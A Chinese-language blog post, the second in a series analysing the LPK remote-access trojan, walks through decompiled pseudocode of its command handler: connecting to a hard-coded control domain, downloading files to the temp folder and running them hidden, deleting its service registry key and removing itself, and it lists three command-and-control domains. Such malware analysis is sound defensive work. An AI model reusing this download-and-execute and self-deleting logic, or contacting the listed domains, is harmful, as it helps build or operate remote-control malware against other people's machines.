序言

接着上回的分析, 分析另外三个重要函数,这三个函数除了域名不一样, 没什么太大差别, 所以只分析一个即可.

StartAddress

    1. 获取函数
  v0 = LoadLibraryA("kernel32.dll");GetProcAddress(v0, &ProcName);v1 = LoadLibraryA("kernel32.dll");GetTempPathA = GetProcAddress(v1, "GetTempPathA");v2 = LoadLibraryA("WS2_32.dll");closesocket = GetProcAddress(v2, "closesocket");v3 = LoadLibraryA("KERNEL32.dll");lstrcatA = GetProcAddress(v3, "lstrcatA");result = sub_404044();     //对应的域名是sbcq.f3322.org, 返回一个socket对象
    1. 0x4060F0获取系统信息
...
if ( v87 <= 4 ){dword_401B74 = 0;strcpy((char *)(a1 + 4), &Source);          // NT}if ( v87 == 5 && !v88 ){dword_401B74 = 1;strcpy((char *)(a1 + 4), &v92);             // 2000}if ( v87 == 5 && v88 == 1 ){dword_401B74 = 0;strcpy((char *)(a1 + 4), &v45);             // XP}if ( v87 == 5 && v88 == 2 ){dword_401B74 = 1;strcpy((char *)(a1 + 4), &v60);             // 2003}if ( v87 == 6 && !v88 ){if ( (unsigned __int8)v90 == 1 ){dword_401B74 = 0;strcpy((char *)(a1 + 4), &v98);           // vista}else{dword_401B74 = 1;strcpy((char *)(a1 + 4), &v48);           // 2008}}...
    1. 获取目标文件下载地址
 if ( !sub_403758(socketObject, (int)buf, 8) || !sub_403758(socketObject, (int)Parameters, *(int *)buf) )// 下载地址存放在Parametersbreak;
    1. 指令0x10
 case 0x10u:CmdLine = 0;memset(&v25, 0, 0x100u);v26 = 0;v27 = 0;v32 = 0;memset(&v33, 0, 0x7Cu);v34 = 0;v35 = 0;GetTempPathA(0x104, &CmdLine);v17 = GetTickCount();wsprintfA(&v32, "%d", v17);lstrcatA(&CmdLine, &v32);v18 = LoadLibraryA(&LibFileName);
downloadFile = GetProcAddress(v18, &v79);
downloadFile(0, Parameters, &CmdLine, 10, 0);  //Parameters是远程文件, cmdLine本机指定路径// HRESULT URLDownloadToFile(//              LPUNKNOWN            pCaller,//              LPCTSTR              szURL,//              LPCTSTR              szFileName,//   _Reserved_ DWORD                dwReserved,//              LPBINDSTATUSCALLBACK lpfnCB// );if ( v37 == 0x11 )v20 = 5;elsev20 = 0;WinExec(&CmdLine, v20); // 0 - SW_HIDE, 5 - SW_SHOWbreak;
    1. 指令0x12
  v8 = OpenMutexA(0x1F0001u, 0, "Ghijkl Nopqrstu Wxy");v9 = v8;if ( v8 ){ReleaseMutex(v8);CloseHandle(v9);}Dest = 0;memset(&v47, 0, 0x100u);v48 = 0;v49 = 0;v28 = 0;memset(&v29, 0, 0x7Cu);v30 = 0;v31 = 0;GetTempPathA(0x104, &Dest);Size = sub_406C30(0x1Au) + 'a';v11 = sub_406C30(0x1Au) + 'a';v12 = sub_406C30(0x1Au) + 'a';v13 = sub_406C30(0x1Au) + 'a';v14 = sub_406C30(0x1Au);wsprintfA(&v28, "%c%c%c%c%ccn.exe", v14 + 'a', v13, v12, v11, Size); //生成一个在tmp文件夹下的随机文件名,lstrcatA(&Dest, &v28);v15 = LoadLibraryA(&LibFileName);downloadFile = GetProcAddress(v15, &v79);if ( !downloadFile(0, Parameters, &Dest, 10, 0)){sub_40351A("Ghijkl Nopqrstu Wxy"); // 如果存在此服务,则删除memset(&pszSubKey, 0, 0x104u);v115 = "SYSTEM\\CurrentControlSet\\Services";sprintf(&pszSubKey, "%s%s", &v115, "Ghijkl Nopqrstu Wxy"); SHDeleteKeyA(HKEY_LOCAL_MACHINE, &pszSubKey);// 通知系统, 这个地方注册表有改动closesocket(socketObject);deleteItSelf();                 // 删除自身WinExec(&Dest, 0u);ExitProcess(0u);}break;
    1. 0x14
case 0x14u:File = 'iexplore.exe';Operation = 'open';v7 = GetDesktopWindow();ShellExecuteA(v7, &Operation, &File, Parameters, 0u, 1); // parameter 是一个文件下载地址break;
}
    1. 0x6
 v21 = OpenMutexA(0x1F0001u, 0, "Ghijkl Nopqrstu Wxy");v22 = v21;if ( v21 ){ReleaseMutex(v21);CloseHandle(v22);}sub_40351A("Ghijkl Nopqrstu Wxy"); //删除服务memset(&Dest, 0, 0x104u);v115 = "SYSTEM\\CurrentControlSet\\Services\\"sprintf(&Dest, "%s%s", &v115, "Ghijkl Nopqrstu Wxy");SHDeleteKeyA(HKEY_LOCAL_MACHINE, &Dest);closesocket(socketObject);deleteItSelf();ExitProcess(0u);
    1. 其他指令
  switch ( v37 ){case 2u:lstrcpynA(Parameter, String2, 0x104);dword_409374 = *(_DWORD *)Parameters;dword_40937C = v40;dword_409378 = v39;dword_409380 = v41;sub_403135(Parameter);            // 没啥用break;case 3u:dword_409240 = *(_DWORD *)Parameters;dword_409248 = v40;dword_409244 = v39;dword_409254 = v41;dword_40924C = *(_DWORD *)String2;dword_409250 = v43;lstrcpynA(byte_409140, &v44, 0x80);v6 = lstrlenA(byte_409140);lstrcpynA(byte_4091C0, &v45[v6], 0x80);sub_403280(byte_409140);          // 构造 Request Headerbreak;case 4u:lstrcpynA(String, String2, 0x80);v5 = lstrlenA(String);lstrcpynA(String1, &String2[v5 + 1], 0x200);dword_409608 = *(_DWORD *)Parameters;dword_409610 = v40;dword_40960C = v39;dword_409614 = v41;sub_403311(String);               // 没啥用break;case 5u:dword_401C84 = 1;break;}

域名

www.520123.xyz sbcq.f3322.org www.520520520.org

多说一点

吾爱破解上面有好几个这样的分析,可能最后释放的那个DLL功能不一样, 下面贴一下连接

ghost
3601
魔术远控

LPK木马分析-02相关推荐

  1. LPK木马分析-03

    序言 前面分析是主程序, 下面分析载荷, 将lpk.dll传播至每个含有exe文件夹中. 总览 BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWO ...

  2. 一个简单木马分析及接管利用

    最近一段时间,感觉工作很是杂乱无章,博客也基本没时间来写,基本每月一篇,其实每写一篇也代表目前我自己的工作状态及内容.最近搞逆向这一块,找了些样本分析例子,自己也研究了一下,感觉有不少好东西,当然这些 ...

  3. 攻打医院服务器的SamSam勒索木马分析

    攻打医院服务器的SamSam勒索木马分析 近日一款名为SamSam的勒索木马在国外爆发.该木马利用医院系统的服务器漏洞实施入侵,再进行加密勒索钱财.由于医院网络信息安全水平普遍薄弱,SamSam成功感 ...

  4. CS -exe木马分析

    CS -exe木马分析 Cobalt Strike是渗透测试工具,可以通过exe木马实现远程控制. 一:生成exe Windows Executable 生成可执行exe木马:payload分段 Wi ...

  5. 实验一木马分析(隐藏分析)实验

    实验一木马分析(隐藏分析)实验 1.木马隐藏技术 1)程序隐藏 木马程序可以利用程序捆绑的方式,将自己和正常的exe 文件进行捆绑.当双击运行捆绑后的程序时,正常的exe 文件运行了.程序隐藏只能达到 ...

  6. 【木马分析】远控盗号木马伪装成850Game作恶

    很喜欢配图 前言 近期,360QVM团队捕获到一类在网上广泛传播的远控盗号木马,该木马伪装为正规棋牌游戏850Game的安装程序,在伪造的钓鱼网站(如:www.gam850.com)上挂马并诱骗用户下 ...

  7. 移花接木大法:新型“白利用”华晨远控木马分析

    360安全卫士 · 2015/05/28 5:11 0x00 前言 "白利用"是木马对抗主动防御类软件的一种常用手法.国内较早一批"白利用"木马是通过系统文件r ...

  8. 新型联网安卓多层锁机木马分析

    新型联网安卓多层锁机木马分析 作者:云在天(Harry_孙) 吾爱破解论坛首发 所用工具 安卓模拟器 Eclipse JEB2 Android killer 样本信息 文件名称:刺激战场盒子.apk ...

  9. 病毒分析之“驱动人生”挖矿木马分析及其清除方案

    "驱动人生"挖矿木马分析及其清除方案 0x00 概述 自2018年12月份"驱动人生"挖矿木马爆发以来,此木马一直处于活跃状态,更新版本更是达到了20+次.此木 ...

最新文章

  1. Hadoop集群的NameNode的备份
  2. gtp怎么安装系统_UEFI+GTP模式下使用GHO文件安装WIN7或WIN8系统图文教程详解
  3. php 追查框架生命周期,ThinkPHP5框架的生命周期:从发出请求到响应完成
  4. vue路由切换组件没有加载_Vue面试题: 如何实现路由懒加载?
  5. 小红书:笔试题(棋盘最短路径,笔记本草稿栈,迷宫游戏)
  6. 求解偏微分方程开源有限元软件deal.II学习--Step 9
  7. [转载]Unicode、ANSI、UTF-8、Unicode Big Endian的故事
  8. 机器学习-降维方法-有监督学习:LDA算法(线性判别分析)【流程:①类内散度矩阵Sw->②类间散度矩阵Sb->计算Sw^-1Sb的特征值、特征向量W->得到投影矩阵W->将样本X通过W投影进行降维】
  9. Java调用WebService的几种方式
  10. metricbeat监控mysql_metricbeat
  11. java流和循环 效率_Java stream 和 for循环效率对比问题
  12. python報錯: OSError: Unable to locate Ghostscript on paths
  13. js、html实现断点播放视频,视频资源在localStorage中
  14. 【转载】面对酱紫的情况,肿么办哇?
  15. 我如何构建一个交互式仪表板Web应用程序以可视化拳击数据
  16. Linux系统设置共享命令,Linux 基本命令操作 (文件共享) 一
  17. 05导航指示-04树状导航栏-navlistview
  18. 虚拟机CentOS7启动报错:Entering emergency mode
  19. Python实现一个全国各高校查询系统
  20. 服务网格峰会 Service Mesh Summit 2022 重启报名

热门文章

  1. 博易大师指标公式源码大全学习
  2. (转)PSP全游戏图鉴OfflineList 送GBA2802个+310中文游戏 有收藏癖者必备
  3. [小甲鱼]record.txt 文档下载 文档 习题解析
  4. win10装系统时分区报错解决方法 无法找到新的分区也找不到现有分区
  5. Windows 网络通信套接字技术
  6. 【Python 打开文件夹】——两种打开文件夹的方法
  7. QIIME 2 2019.7 更新
  8. SQL底层执行原理详解
  9. 自己动手做一个USB摄像头--转载
  10. Android USB摄像头插拔监听